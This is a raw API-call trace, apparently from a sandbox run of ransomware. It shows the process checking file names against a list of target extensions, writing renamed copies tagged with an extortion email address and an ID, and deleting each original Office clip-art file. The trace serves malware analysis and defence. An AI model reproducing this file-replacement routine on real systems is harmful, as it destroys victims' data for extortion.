	[0153.359] lstrlenW (lpString=".dbf") returned 4
	[0153.359] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.359] lstrlenW (lpString=".1cd") returned 4
	[0153.359] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.359] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086432.WMF") returned 68
	[0153.359] lstrlenW (lpString=".jpg") returned 4
	[0153.359] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.360] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.360] lstrlenW (lpString="J0086478.WMF") returned 12
	[0153.360] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.361] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=14174) returned 1
	[0153.361] CloseHandle (hObject=0x388) returned 1
	[0153.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 0x220
	[0153.361] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.361] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.361] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.361] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.362] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0153.362] GetLastError () returned 0x0
	[0153.362] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x375e, lpOverlapped=0x0) returned 1
	[0153.456] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x3760, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x3760, lpOverlapped=0x0) returned 1
	[0153.458] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.458] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.458] SetEndOfFile (hFile=0x51c) returned 1
	[0153.458] CloseHandle (hObject=0x51c) returned 1
	[0153.458] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.458] SetEndOfFile (hFile=0x388) returned 1
	[0153.461] CloseHandle (hObject=0x388) returned 1
	[0153.462] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.462] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0086478.wmf")) returned 1
	[0153.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.463] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.463] lstrlenW (lpString=".doc") returned 4
	[0153.463] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.463] lstrlenW (lpString=".docx") returned 5
	[0153.463] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0153.463] lstrlenW (lpString=".pdf") returned 4
	[0153.463] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.463] lstrlenW (lpString=".xls") returned 4
	[0153.463] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.463] lstrlenW (lpString=".xlsx") returned 5
	[0153.463] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0153.464] lstrlenW (lpString=".ppt") returned 4
	[0153.464] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.464] lstrlenW (lpString=".zip") returned 4
	[0153.464] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.464] lstrlenW (lpString=".rar") returned 4
	[0153.464] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.464] lstrlenW (lpString=".bz2") returned 4
	[0153.464] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.464] lstrlenW (lpString=".7z") returned 3
	[0153.464] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.464] lstrlenW (lpString=".dbf") returned 4
	[0153.464] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.464] lstrlenW (lpString=".1cd") returned 4
	[0153.464] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.464] lstrlenW (lpString=".jpg") returned 4
	[0153.464] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.464] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.464] lstrlenW (lpString=".doc") returned 4
	[0153.464] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.464] lstrlenW (lpString=".docx") returned 5
	[0153.464] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0153.465] lstrlenW (lpString=".pdf") returned 4
	[0153.465] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.465] lstrlenW (lpString=".xls") returned 4
	[0153.465] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.465] lstrlenW (lpString=".xlsx") returned 5
	[0153.465] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0153.465] lstrlenW (lpString=".ppt") returned 4
	[0153.465] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.465] lstrlenW (lpString=".zip") returned 4
	[0153.465] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.465] lstrlenW (lpString=".rar") returned 4
	[0153.465] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.465] lstrlenW (lpString=".bz2") returned 4
	[0153.465] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.465] lstrlenW (lpString=".7z") returned 3
	[0153.465] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.465] lstrlenW (lpString=".dbf") returned 4
	[0153.465] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.465] lstrlenW (lpString=".1cd") returned 4
	[0153.465] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.465] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0086478.WMF") returned 68
	[0153.465] lstrlenW (lpString=".jpg") returned 4
	[0153.465] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.466] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.466] lstrlenW (lpString="J0089945.WMF") returned 12
	[0153.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.467] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=19898) returned 1
	[0153.467] CloseHandle (hObject=0x388) returned 1
	[0153.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 0x220
	[0153.467] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.467] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.467] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.468] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0153.468] GetLastError () returned 0x0
	[0153.468] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x4dba, lpOverlapped=0x0) returned 1
	[0153.471] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x4dc0, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x4dc0, lpOverlapped=0x0) returned 1
	[0153.472] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.472] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.472] SetEndOfFile (hFile=0x51c) returned 1
	[0153.473] CloseHandle (hObject=0x51c) returned 1
	[0153.473] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.473] SetEndOfFile (hFile=0x388) returned 1
	[0153.477] CloseHandle (hObject=0x388) returned 1
	[0153.477] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.477] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089945.wmf")) returned 1
	[0153.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.478] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.478] lstrlenW (lpString=".doc") returned 4
	[0153.479] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.479] lstrlenW (lpString=".docx") returned 5
	[0153.479] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0153.479] lstrlenW (lpString=".pdf") returned 4
	[0153.479] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.479] lstrlenW (lpString=".xls") returned 4
	[0153.479] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.479] lstrlenW (lpString=".xlsx") returned 5
	[0153.479] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0153.479] lstrlenW (lpString=".ppt") returned 4
	[0153.479] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.479] lstrlenW (lpString=".zip") returned 4
	[0153.479] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.479] lstrlenW (lpString=".rar") returned 4
	[0153.479] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.479] lstrlenW (lpString=".bz2") returned 4
	[0153.479] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.479] lstrlenW (lpString=".7z") returned 3
	[0153.479] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.479] lstrlenW (lpString=".dbf") returned 4
	[0153.479] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.479] lstrlenW (lpString=".1cd") returned 4
	[0153.479] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.479] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.480] lstrlenW (lpString=".jpg") returned 4
	[0153.480] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.480] lstrlenW (lpString=".doc") returned 4
	[0153.480] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.480] lstrlenW (lpString=".docx") returned 5
	[0153.480] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1
	[0153.480] lstrlenW (lpString=".pdf") returned 4
	[0153.480] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.480] lstrlenW (lpString=".xls") returned 4
	[0153.480] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.480] lstrlenW (lpString=".xlsx") returned 5
	[0153.480] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1
	[0153.480] lstrlenW (lpString=".ppt") returned 4
	[0153.480] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.480] lstrlenW (lpString=".zip") returned 4
	[0153.480] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.480] lstrlenW (lpString=".rar") returned 4
	[0153.480] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.480] lstrlenW (lpString=".bz2") returned 4
	[0153.480] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.480] lstrlenW (lpString=".7z") returned 3
	[0153.480] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.480] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.481] lstrlenW (lpString=".dbf") returned 4
	[0153.481] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.481] lstrlenW (lpString=".1cd") returned 4
	[0153.481] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.481] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68
	[0153.481] lstrlenW (lpString=".jpg") returned 4
	[0153.481] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.481] lstrcmpiW (lpString1=".WMF", lpString2=".yG") returned -1
	[0153.481] lstrlenW (lpString="J0089992.WMF") returned 12
	[0153.481] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.482] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x2d3ff14 | out: lpFileSize=0x2d3ff14*=15680) returned 1
	[0153.482] CloseHandle (hObject=0x388) returned 1
	[0153.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 0x220
	[0153.482] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0153.482] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388
	[0153.483] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.483] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x51c
	[0153.483] GetLastError () returned 0x0
	[0153.483] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x3d40, lpOverlapped=0x0) returned 1
	[0153.486] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0x3d50, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0x3d50, lpOverlapped=0x0) returned 1
	[0153.487] ReadFile (in: hFile=0x388, lpBuffer=0x3966020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesRead=0x2d3fecc*=0x0, lpOverlapped=0x0) returned 1
	[0153.487] WriteFile (in: hFile=0x51c, lpBuffer=0x3966020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3966020*, lpNumberOfBytesWritten=0x2d3fc94*=0xec, lpOverlapped=0x0) returned 1
	[0153.487] SetEndOfFile (hFile=0x51c) returned 1
	[0153.487] CloseHandle (hObject=0x51c) returned 1
	[0153.487] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec0 | out: lpNewFilePointer=0x0) returned 1
	[0153.487] SetEndOfFile (hFile=0x388) returned 1
	[0153.490] CloseHandle (hObject=0x388) returned 1
	[0153.491] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0153.491] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0089992.wmf")) returned 1
	[0153.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.492] lstrlenW (lpString=".doc") returned 4
	[0153.492] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.492] lstrlenW (lpString=".docx") returned 5
	[0153.492] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0153.492] lstrlenW (lpString=".pdf") returned 4
	[0153.492] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.492] lstrlenW (lpString=".xls") returned 4
	[0153.492] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.492] lstrlenW (lpString=".xlsx") returned 5
	[0153.492] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0153.492] lstrlenW (lpString=".ppt") returned 4
	[0153.492] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.492] lstrlenW (lpString=".zip") returned 4
	[0153.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.492] lstrlenW (lpString=".rar") returned 4
	[0153.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.493] lstrlenW (lpString=".bz2") returned 4
	[0153.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.493] lstrlenW (lpString=".7z") returned 3
	[0153.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.493] lstrlenW (lpString=".dbf") returned 4
	[0153.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0153.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.493] lstrlenW (lpString=".1cd") returned 4
	[0153.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0153.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.493] lstrlenW (lpString=".jpg") returned 4
	[0153.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0153.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.493] lstrlenW (lpString=".doc") returned 4
	[0153.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0153.710] lstrlenW (lpString=".docx") returned 5
	[0153.710] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0153.710] lstrlenW (lpString=".pdf") returned 4
	[0153.710] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0153.710] lstrlenW (lpString=".xls") returned 4
	[0153.710] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0153.710] lstrlenW (lpString=".xlsx") returned 5
	[0153.710] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0153.710] lstrlenW (lpString=".ppt") returned 4
	[0153.710] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0153.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.710] lstrlenW (lpString=".zip") returned 4
	[0153.710] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0153.710] lstrlenW (lpString=".rar") returned 4
	[0153.710] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0153.710] lstrlenW (lpString=".bz2") returned 4
	[0153.710] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0153.710] lstrlenW (lpString=".7z") returned 3
	[0153.711] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0153.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089992.WMF") returned 68
	[0153.711] lstrlenW (lpString=".dbf") returned 4
